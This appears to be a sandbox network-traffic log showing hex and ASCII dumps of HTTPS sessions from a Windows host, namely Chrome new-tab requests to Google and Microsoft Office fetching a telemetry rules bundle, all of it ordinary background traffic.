2024-10-29 17:42:17 UTC	112	IN	Data Raw: 33 32 33 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 64 65 6e 76 65 72 20 6e 75 67 67 65 74 73 20 76 73 20 62 72 6f 6f 6b 6c 79 6e 20 6e 65 74 73 22 2c 22 62 6c 61 63 6b 20 6f 70 73 20 6c 69 62 65 72 74 79 20 66 61 6c 6c 73 20 65 61 73 74 65 72 20 65 67 67 22 2c 22 6c 6f 76 65 20 69 73 6c 61 6e 64 20 61 75 73 74 72 61 6c 69 61 20 73 65 61 Data Ascii: 323)]}'["",["denver nuggets vs brooklyn nets","black ops liberty falls easter egg","love island australia sea
2024-10-29 17:42:17 UTC	698	IN	Data Raw: 73 6f 6e 20 36 20 73 74 72 65 61 6d 69 6e 67 22 2c 22 68 75 72 72 69 63 61 6e 65 73 20 74 72 6f 70 69 63 61 6c 20 73 74 6f 72 6d 73 22 2c 22 6d 63 64 6f 6e 61 6c 64 20 71 75 61 72 74 65 72 20 70 6f 75 6e 64 65 72 20 65 20 63 6f 6c 69 20 6f 75 74 62 72 65 61 6b 22 2c 22 62 6c 61 63 6b 20 6f 70 73 20 64 6f 75 62 6c 65 20 78 70 20 74 6f 6b 65 6e 73 22 2c 22 6e 63 69 73 20 63 61 73 74 22 2c 22 73 70 6f 72 74 73 20 65 71 75 69 6e 6f 78 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b 34 53 45 77 Data Ascii: son 6 streaming","hurricanes tropical storms","mcdonald quarter pounder e coli outbreak","black ops double xp tokens","ncis cast","sports equinox"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEw
2024-10-29 17:42:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49711	142.250.185.228	443	6508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:17 UTC	518	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc= Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-29 17:42:18 UTC	1042	IN	HTTP/1.1 200 OK Version: 689297125 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Tue, 29 Oct 2024 17:42:18 GMT Server: gws Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-10-29 17:42:18 UTC	336	IN	Data Raw: 31 65 33 33 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 31 64 20 67 62 5f 50 65 20 67 62 5f 70 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 1e33)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_1d gb_Pe gb_pd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-10-29 17:42:18 UTC	1378	IN	Data Raw: 20 67 62 5f 6e 64 20 67 62 5f 45 64 20 67 62 5f 6b 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 76 64 20 67 62 5f 71 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 Data Ascii: gb_nd gb_Ed gb_kd\"\u003e\u003cdiv class\u003d\"gb_vd gb_qd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u00
2024-10-29 17:42:18 UTC	1378	IN	Data Raw: 30 33 63 5c 2f 61 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 76 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 74 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 76 Data Ascii: 03c\/a\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_vd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_td\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_v
2024-10-29 17:42:18 UTC	1378	IN	Data Raw: 76 67 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d 31 31 30 68 2d 32 30 71 2d 31 33 20 30 2d 32 31 2e 35 2d 38 2e 35 54 33 32 30 2d 38 31 30 Data Ascii: vg class\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-110h-20q-13 0-21.5-8.5T320-810
2024-10-29 17:42:18 UTC	1378	IN	Data Raw: 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 32 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 Data Ascii: 0.9,2 2,2zM12,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18
2024-10-29 17:42:18 UTC	1378	IN	Data Raw: 32 22 5d 2c 22 6d 65 6e 75 5f 70 6c 61 63 65 68 6f 6c 64 65 72 5f 6c 61 62 65 6c 22 3a 22 6d 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 32 36 37 2c 33 37 30 30 39 34 39 2c 33 37 30 31 33 38 34 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 74 68 69 73 2e 67 62 61 72 5f 5c 75 30 30 33 64 74 68 69 73 2e 67 62 61 72 Data Ascii: 2"],"menu_placeholder_label":"menu-content","metadata":{"bar_height":60,"experiment_id":[3700267,3700949,3701384],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_value":"this.gbar_\u003dthis.gbar
2024-10-29 17:42:18 UTC	513	IN	Data Raw: 67 6c 6f 62 61 6c 54 68 69 73 2e 74 72 75 73 74 65 64 54 79 70 65 73 3b 5f 2e 59 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 5c 75 30 30 33 64 61 7d 74 6f 53 74 72 69 6e 67 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 69 7d 7d 3b 5f 2e 5a 64 5c 75 30 30 33 64 6e 65 77 20 5f 2e 59 64 28 5c 22 61 62 6f 75 74 3a 69 6e 76 61 6c 69 64 23 7a 43 6c 6f 73 75 72 65 7a 5c 22 29 3b 5f 2e 56 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 68 68 5c 75 30 30 33 64 61 7d 7d 3b 5f 2e 24 64 5c 75 30 30 33 64 5b 57 64 28 5c 22 64 61 74 61 5c 22 29 2c 57 64 28 5c 22 68 74 74 70 5c 22 29 2c 57 64 28 5c 22 68 74 74 70 73 5c 22 29 2c 57 64 28 5c 22 6d 61 69 6c 74 6f 5c Data Ascii: globalThis.trustedTypes;_.Yd\u003dclass{constructor(a){this.i\u003da}toString(){return this.i}};_.Zd\u003dnew _.Yd(\"about:invalid#zClosurez\");_.Vd\u003dclass{constructor(a){this.hh\u003da}};_.$d\u003d[Wd(\"data\"),Wd(\"http\"),Wd(\"https\"),Wd(\"mailto\
2024-10-29 17:42:18 UTC	391	IN	Data Raw: 31 38 30 0d 0a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 61 3a 4e 75 6d 62 65 72 2e 69 73 46 69 6e 69 74 65 28 61 29 3f 61 7c 30 3a 76 6f 69 64 20 30 7d 3b 5f 2e 64 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 29 72 65 74 75 72 6e 20 61 3b 69 66 28 74 79 70 65 6f 66 20 61 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 73 74 72 69 6e 67 5c 22 29 7b 69 66 28 21 61 29 72 65 74 75 72 6e 3b 61 5c 75 30 30 33 64 2b 61 7d 69 66 28 74 79 70 65 6f 66 20 61 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 6e 75 6d 62 65 72 5c 22 29 72 65 74 75 72 6e 20 4e 75 6d 62 65 72 2e 69 73 46 69 6e 69 74 65 28 61 Data Ascii: 180function(a){return a\u003d\u003dnull?a:Number.isFinite(a)?a\|0:void 0};_.de\u003dfunction(a){if(a\u003d\u003dnull)return a;if(typeof a\u003d\u003d\u003d\"string\"){if(!a)return;a\u003d+a}if(typeof a\u003d\u003d\u003d\"number\")return Number.isFinite(a
2024-10-29 17:42:18 UTC	1378	IN	Data Raw: 38 30 30 30 0d 0a 5c 22 2c 7b 63 72 65 61 74 65 48 54 4d 4c 3a 62 2c 63 72 65 61 74 65 53 63 72 69 70 74 3a 62 2c 63 72 65 61 74 65 53 63 72 69 70 74 55 52 4c 3a 62 7d 29 7d 63 61 74 63 68 28 62 29 7b 7d 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 68 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 29 7b 67 65 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 76 6f 69 64 20 30 5c 75 30 30 32 36 5c 75 30 30 32 36 28 67 65 5c 75 30 30 33 64 66 65 28 29 29 3b 72 65 74 75 72 6e 20 67 65 7d 3b 5c 6e 5f 2e 6a 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 63 6f 6e 73 74 20 62 5c 75 30 30 33 64 5f 2e 68 65 28 29 3b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 69 65 28 62 3f 62 2e 63 72 65 61 74 65 53 63 72 69 70 74 55 52 4c 28 61 29 3a 61 29 7d 3b 5f 2e 6b 65 5c Data Ascii: 8000\",{createHTML:b,createScript:b,createScriptURL:b})}catch(b){}return a};_.he\u003dfunction(){ge\u003d\u003d\u003dvoid 0\u0026\u0026(ge\u003dfe());return ge};\n_.je\u003dfunction(a){const b\u003d_.he();return new _.ie(b?b.createScriptURL(a):a)};_.ke\
2024-10-29 17:42:18 UTC	1378	IN	Data Raw: 2f 69 3b 76 61 72 20 7a 65 2c 44 65 2c 76 65 3b 5f 2e 78 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 6e 65 77 20 76 65 28 5f 2e 77 65 28 61 29 29 3a 74 65 7c 7c 28 74 65 5c 75 30 30 33 64 6e 65 77 20 76 65 29 7d 3b 5f 2e 79 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 74 79 70 65 6f 66 20 62 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 73 74 72 69 6e 67 5c 22 3f 61 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 62 29 3a 62 7d 3b 5f 2e 55 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 76 61 72 20 63 5c 75 30 30 33 64 62 7c 7c 64 6f 63 75 6d 65 6e 74 3b 63 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 3f 61 5c 75 30 30 33 64 63 Data Ascii: /i;var ze,De,ve;_.xe\u003dfunction(a){return a?new ve(_.we(a)):te\|\|(te\u003dnew ve)};_.ye\u003dfunction(a,b){return typeof b\u003d\u003d\u003d\"string\"?a.getElementById(b):b};_.U\u003dfunction(a,b){var c\u003db\|\|document;c.getElementsByClassName?a\u003dc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49712	142.250.185.228	443	6508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:17 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-29 17:42:18 UTC	957	IN	HTTP/1.1 200 OK Version: 689297125 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Tue, 29 Oct 2024 17:42:18 GMT Server: gws Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-10-29 17:42:18 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-10-29 17:42:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.5	49714	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:19 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:19 UTC	561	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:19 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public Last-Modified: Mon, 28 Oct 2024 13:23:36 GMT ETag: "0x8DCF753BAA1B278" x-ms-request-id: 174434da-801e-0015-686a-29f97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174219Z-16849878b7898p5f6vryaqvp5800000007n000000000r2gs x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 17:42:19 UTC	15823	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-10-29 17:42:19 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <S T="1" F="0" /> </L> <R> <V V="400" T="I32" /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L>
2024-10-29 17:42:19 UTC	16384	IN	Data Raw: 3c 53 20 54 3d 22 33 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 20 20 3c 53 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 53 54 3e 0d 0a 3c 2f 52 3e 0d 0a 3c 24 21 23 3e 31 30 38 32 30 76 33 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d Data Ascii: <S T="3" /> </T> <ST> <S T="1" /> </ST></R><$!#>10820v3+<?xml version="1.0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-
2024-10-29 17:42:19 UTC	16384	IN	Data Raw: 6e 74 73 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 36 34 22 20 49 3d 22 38 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 45 76 65 6e 74 73 5f 41 76 67 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 41 76 65 72 61 67 65 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a Data Ascii: nts" /> </C> <C T="U64" I="8" O="false" N="Events_Avg"> <S T="2" F="Average" /> </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" />
